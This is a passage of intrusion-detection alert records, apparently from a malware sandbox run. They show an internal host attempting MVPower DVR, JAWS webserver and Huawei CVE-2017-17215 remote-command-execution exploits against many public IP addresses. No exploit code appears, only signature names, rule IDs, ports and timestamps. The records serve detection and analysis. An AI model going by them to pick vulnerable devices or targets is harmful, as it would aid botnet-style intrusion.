Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.217.69.180

Timestamp:	192.168.2.238.217.69.18058726802025883 01/02/24-06:24:01.420268
SID:	2025883
Source Port:	58726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.252.147.128

Timestamp:	192.168.2.23104.252.147.12855178802030092 01/02/24-06:25:35.867202
SID:	2030092
Source Port:	55178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.40.8.187

Timestamp:	192.168.2.23212.40.8.18758620802030092 01/02/24-06:24:23.995468
SID:	2030092
Source Port:	58620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 205.186.128.8

Timestamp:	192.168.2.23205.186.128.848982802030092 01/02/24-06:24:27.336199
SID:	2030092
Source Port:	48982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934120802025883 01/02/24-06:23:54.670611
SID:	2025883
Source Port:	34120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.246.114.17

Timestamp:	192.168.2.23173.246.114.1738990802030092 01/02/24-06:24:15.084514
SID:	2030092
Source Port:	38990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.244.147.183

Timestamp:	192.168.2.2320.244.147.18357646802025883 01/02/24-06:24:58.867978
SID:	2025883
Source Port:	57646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.47.14.145

Timestamp:	192.168.2.2341.47.14.14559648802030092 01/02/24-06:24:55.990421
SID:	2030092
Source Port:	59648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.215.63.143

Timestamp:	192.168.2.2352.215.63.14354620802030092 01/02/24-06:25:02.012429
SID:	2030092
Source Port:	54620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.111.199.195

Timestamp:	192.168.2.23104.111.199.19550616802025883 01/02/24-06:24:14.253972
SID:	2025883
Source Port:	50616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.61.215.224

Timestamp:	192.168.2.23170.61.215.22438188802030092 01/02/24-06:24:23.937077
SID:	2030092
Source Port:	38188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 150.60.155.80

Timestamp:	192.168.2.23150.60.155.8060130802025883 01/02/24-06:24:13.765423
SID:	2025883
Source Port:	60130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.142.2.159

Timestamp:	192.168.2.2318.142.2.15938786802030092 01/02/24-06:24:24.307205
SID:	2030092
Source Port:	38786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.100.195.105

Timestamp:	192.168.2.23104.100.195.10552802802025883 01/02/24-06:25:15.214192
SID:	2025883
Source Port:	52802
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.250.225.16

Timestamp:	192.168.2.2313.250.225.1660966802025883 01/02/24-06:24:43.065656
SID:	2025883
Source Port:	60966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.235.69.153

Timestamp:	192.168.2.23213.235.69.15352566802030092 01/02/24-06:25:15.717215
SID:	2030092
Source Port:	52566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.55.87.229

Timestamp:	192.168.2.2313.55.87.22949346802025883 01/02/24-06:24:15.126337
SID:	2025883
Source Port:	49346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.77.152.216

Timestamp:	192.168.2.23190.77.152.21653296802030092 01/02/24-06:25:16.037354
SID:	2030092
Source Port:	53296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.182.153.62

Timestamp:	192.168.2.232.182.153.6248988802030092 01/02/24-06:24:24.372962
SID:	2030092
Source Port:	48988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.24.144.165

Timestamp:	192.168.2.2362.24.144.16546790802025883 01/02/24-06:25:42.725214
SID:	2025883
Source Port:	46790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.63.152.59

Timestamp:	192.168.2.235.63.152.5938096802030092 01/02/24-06:24:37.257342
SID:	2030092
Source Port:	38096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.219.208.94

Timestamp:	192.168.2.23122.219.208.9451858802030092 01/02/24-06:25:29.715016
SID:	2030092
Source Port:	51858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.51.136.55

Timestamp:	192.168.2.23209.51.136.5541670802030092 01/02/24-06:25:42.872171
SID:	2030092
Source Port:	41670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.137.174.134

Timestamp:	192.168.2.23216.137.174.13447390802030092 01/02/24-06:25:22.016894
SID:	2030092
Source Port:	47390
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.161.154.76

Timestamp:	192.168.2.2318.161.154.7646938802025883 01/02/24-06:24:40.755405
SID:	2025883
Source Port:	46938
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 138.118.173.132

Timestamp:	192.168.2.23138.118.173.13258566802025883 01/02/24-06:24:33.144309
SID:	2025883
Source Port:	58566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.133.222.136

Timestamp:	192.168.2.235.133.222.13648094802025883 01/02/24-06:23:51.610663
SID:	2025883
Source Port:	48094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 194.29.100.37

Timestamp:	192.168.2.23194.29.100.3746672802025883 01/02/24-06:24:49.045138
SID:	2025883
Source Port:	46672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 168.93.163.146

Timestamp:	192.168.2.23168.93.163.14643476802025883 01/02/24-06:24:30.901528
SID:	2025883
Source Port:	43476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.103.55

Timestamp:	192.168.2.23156.254.103.5538508372152835222 01/02/24-06:24:27.790071
SID:	2835222
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 220.134.75.182

Timestamp:	192.168.2.23220.134.75.18260554802025883 01/02/24-06:25:32.202180
SID:	2025883
Source Port:	60554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.223.106.91

Timestamp:	192.168.2.23154.223.106.9147644802030092 01/02/24-06:24:04.156293
SID:	2030092
Source Port:	47644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 193.233.164.237

Timestamp:	192.168.2.23193.233.164.23748736802025883 01/02/24-06:24:17.936241
SID:	2025883
Source Port:	48736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.249.21.231

Timestamp:	192.168.2.2387.249.21.23144962802030092 01/02/24-06:23:59.225841
SID:	2030092
Source Port:	44962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.216.42.21

Timestamp:	192.168.2.2352.216.42.2137628802025883 01/02/24-06:25:15.620032
SID:	2025883
Source Port:	37628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.3.57.124

Timestamp:	192.168.2.2323.3.57.12446500802030092 01/02/24-06:25:22.066559
SID:	2030092
Source Port:	46500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.167.130.64

Timestamp:	192.168.2.2318.167.130.6444126802030092 01/02/24-06:24:24.131709
SID:	2030092
Source Port:	44126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.217.213.32

Timestamp:	192.168.2.235.217.213.3240972802030092 01/02/24-06:25:14.761574
SID:	2030092
Source Port:	40972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.14.41.174

Timestamp:	192.168.2.23106.14.41.17435930802025883 01/02/24-06:24:18.753229
SID:	2025883
Source Port:	35930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.219.136.37

Timestamp:	192.168.2.2354.219.136.3735172802030092 01/02/24-06:25:18.698984
SID:	2030092
Source Port:	35172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.121.20.145

Timestamp:	192.168.2.23172.121.20.14551014802025883 01/02/24-06:24:24.984846
SID:	2025883
Source Port:	51014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.231.150.128

Timestamp:	192.168.2.2323.231.150.12851852802030092 01/02/24-06:24:24.125011
SID:	2030092
Source Port:	51852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.23.144.159

Timestamp:	192.168.2.23217.23.144.15954616802025883 01/02/24-06:25:02.033209
SID:	2025883
Source Port:	54616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.208.250.11

Timestamp:	192.168.2.23143.208.250.1143668802030092 01/02/24-06:25:10.207227
SID:	2030092
Source Port:	43668
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.236.88.180

Timestamp:	192.168.2.2313.236.88.18038176802030092 01/02/24-06:25:14.749773
SID:	2030092
Source Port:	38176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.123.31.165

Timestamp:	192.168.2.2387.123.31.16541088802030092 01/02/24-06:24:24.186617
SID:	2030092
Source Port:	41088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.205.246.48

Timestamp:	192.168.2.2323.205.246.4848598802025883 01/02/24-06:24:55.255106
SID:	2025883
Source Port:	48598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.61.119.77

Timestamp:	192.168.2.23173.61.119.7736382802030092 01/02/24-06:23:51.529010
SID:	2030092
Source Port:	36382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 201.229.167.159

Timestamp:	192.168.2.23201.229.167.15941366802025883 01/02/24-06:24:19.178132
SID:	2025883
Source Port:	41366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.242.215.204

Timestamp:	192.168.2.2391.242.215.20436660802025883 01/02/24-06:24:18.756077
SID:	2025883
Source Port:	36660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.224.189.176

Timestamp:	192.168.2.2334.224.189.17652658802025883 01/02/24-06:25:00.915017
SID:	2025883
Source Port:	52658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 49.233.248.202

Timestamp:	192.168.2.2349.233.248.20255454802025883 01/02/24-06:25:29.740902
SID:	2025883
Source Port:	55454
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.91.11.151

Timestamp:	192.168.2.23104.91.11.15157840802030092 01/02/24-06:23:57.977771
SID:	2030092
Source Port:	57840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.138.75.229

Timestamp:	192.168.2.2362.138.75.22955822802030092 01/02/24-06:25:35.265496
SID:	2030092
Source Port:	55822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.2.14.12

Timestamp:	192.168.2.23185.2.14.1251600802030092 01/02/24-06:24:35.360260
SID:	2030092
Source Port:	51600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.107.164.60

Timestamp:	192.168.2.2334.107.164.6038972802025883 01/02/24-06:24:27.400912
SID:	2025883
Source Port:	38972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 80.15.65.100

Timestamp:	192.168.2.2380.15.65.10050756802025883 01/02/24-06:24:55.923121
SID:	2025883
Source Port:	50756
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.62.126.54

Timestamp:	192.168.2.23195.62.126.5460000802025883 01/02/24-06:24:11.155988
SID:	2025883
Source Port:	60000
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.70.223.64

Timestamp:	192.168.2.2320.70.223.6440344802030092 01/02/24-06:24:31.051081
SID:	2030092
Source Port:	40344
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.84.34

Timestamp:	192.168.2.2341.0.84.3441028372152829579 01/02/24-06:24:06.080918
SID:	2829579
Source Port:	41028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.214.78.161

Timestamp:	192.168.2.2318.214.78.16148682802025883 01/02/24-06:24:56.009741
SID:	2025883
Source Port:	48682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 218.35.171.230

Timestamp:	192.168.2.23218.35.171.23047210802030092 01/02/24-06:24:23.810086
SID:	2030092
Source Port:	47210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.160.3.149

Timestamp:	192.168.2.2335.160.3.14954360802030092 01/02/24-06:24:40.650599
SID:	2030092
Source Port:	54360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.32.70.45

Timestamp:	192.168.2.2345.32.70.4540790802025883 01/02/24-06:24:45.911026
SID:	2025883
Source Port:	40790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.236.125.84

Timestamp:	192.168.2.2324.236.125.8436362802030092 01/02/24-06:23:50.012962
SID:	2030092
Source Port:	36362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.211.213.107

Timestamp:	192.168.2.2335.211.213.10757532802025883 01/02/24-06:25:37.947175
SID:	2025883
Source Port:	57532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 74.217.134.11

Timestamp:	192.168.2.2374.217.134.1157808802025883 01/02/24-06:25:44.030944
SID:	2025883
Source Port:	57808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.250.65.92

Timestamp:	192.168.2.2313.250.65.9258572802030092 01/02/24-06:25:21.541317
SID:	2030092
Source Port:	58572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.254.208.10

Timestamp:	192.168.2.2362.254.208.1058096802030092 01/02/24-06:24:13.764312
SID:	2030092
Source Port:	58096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.222.57.83

Timestamp:	192.168.2.2352.222.57.8340002802025883 01/02/24-06:24:17.613377
SID:	2025883
Source Port:	40002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.44.248.104

Timestamp:	192.168.2.23198.44.248.10442602802030092 01/02/24-06:24:27.798165
SID:	2030092
Source Port:	42602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.90.200.134

Timestamp:	192.168.2.2347.90.200.13459390802030092 01/02/24-06:24:08.717627
SID:	2030092
Source Port:	59390
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 170.130.22.254

Timestamp:	192.168.2.23170.130.22.25444286802025883 01/02/24-06:24:08.505355
SID:	2025883
Source Port:	44286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.15.76.48

Timestamp:	192.168.2.23106.15.76.4851782802025883 01/02/24-06:24:31.040036
SID:	2025883
Source Port:	51782
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.67.255.71

Timestamp:	192.168.2.2318.67.255.7133036802030092 01/02/24-06:24:42.963614
SID:	2030092
Source Port:	33036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.14.153

Timestamp:	192.168.2.23156.241.14.15348512372152829579 01/02/24-06:23:49.692230
SID:	2829579
Source Port:	48512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.228.64.49

Timestamp:	192.168.2.2350.228.64.4932936802030092 01/02/24-06:25:04.956264
SID:	2030092
Source Port:	32936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.211.15.95

Timestamp:	192.168.2.23130.211.15.9540968802030092 01/02/24-06:23:49.492483
SID:	2030092
Source Port:	40968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.135.71.176

Timestamp:	192.168.2.232.135.71.17637678802030092 01/02/24-06:24:11.112670
SID:	2030092
Source Port:	37678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.188.170.147

Timestamp:	192.168.2.2352.188.170.14760094802030092 01/02/24-06:24:56.015920
SID:	2030092
Source Port:	60094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.85.133.31

Timestamp:	192.168.2.2352.85.133.3147266802030092 01/02/24-06:24:51.888604
SID:	2030092
Source Port:	47266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.218.175.190

Timestamp:	192.168.2.23154.218.175.19054758802030092 01/02/24-06:25:06.948021
SID:	2030092
Source Port:	54758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 84.247.28.155

Timestamp:	192.168.2.2384.247.28.15551342802025883 01/02/24-06:24:08.653606
SID:	2025883
Source Port:	51342
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.210.48.113

Timestamp:	192.168.2.2362.210.48.11336542802025883 01/02/24-06:25:31.316043
SID:	2025883
Source Port:	36542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.216.114.49

Timestamp:	192.168.2.2323.216.114.4945924802025883 01/02/24-06:25:10.067215
SID:	2025883
Source Port:	45924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 68.68.1.220

Timestamp:	192.168.2.2368.68.1.22036644802025883 01/02/24-06:25:00.920491
SID:	2025883
Source Port:	36644
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.169.136.2

Timestamp:	192.168.2.2345.169.136.260250802030092 01/02/24-06:24:37.969433
SID:	2030092
Source Port:	60250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.225.210.18

Timestamp:	192.168.2.2343.225.210.1847296802025883 01/02/24-06:24:55.316812
SID:	2025883
Source Port:	47296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.114.245.251

Timestamp:	192.168.2.23185.114.245.25152468802030092 01/02/24-06:25:19.107884
SID:	2030092
Source Port:	52468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.136.180.91

Timestamp:	192.168.2.232.136.180.9132958802025883 01/02/24-06:24:20.174770
SID:	2025883
Source Port:	32958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 208.70.77.181

Timestamp:	192.168.2.23208.70.77.18137854802025883 01/02/24-06:24:43.121132
SID:	2025883
Source Port:	37854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.230

Timestamp:	192.168.2.23156.235.102.23034064372152829579 01/02/24-06:23:48.382924
SID:	2829579
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.74.207.203

Timestamp:	192.168.2.2377.74.207.20352380802025883 01/02/24-06:25:35.073405
SID:	2025883
Source Port:	52380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.114.164.49

Timestamp:	192.168.2.23104.114.164.4947672802030092 01/02/24-06:25:25.169174
SID:	2030092
Source Port:	47672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.26.81.3

Timestamp:	192.168.2.23197.26.81.356728802030092 01/02/24-06:24:49.038851
SID:	2030092
Source Port:	56728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.202.156.241

Timestamp:	192.168.2.2362.202.156.24135188802030092 01/02/24-06:24:17.662475
SID:	2030092
Source Port:	35188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.4.183.144

Timestamp:	192.168.2.23121.4.183.14448996802025883 01/02/24-06:25:19.173099
SID:	2025883
Source Port:	48996
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.35.155.166

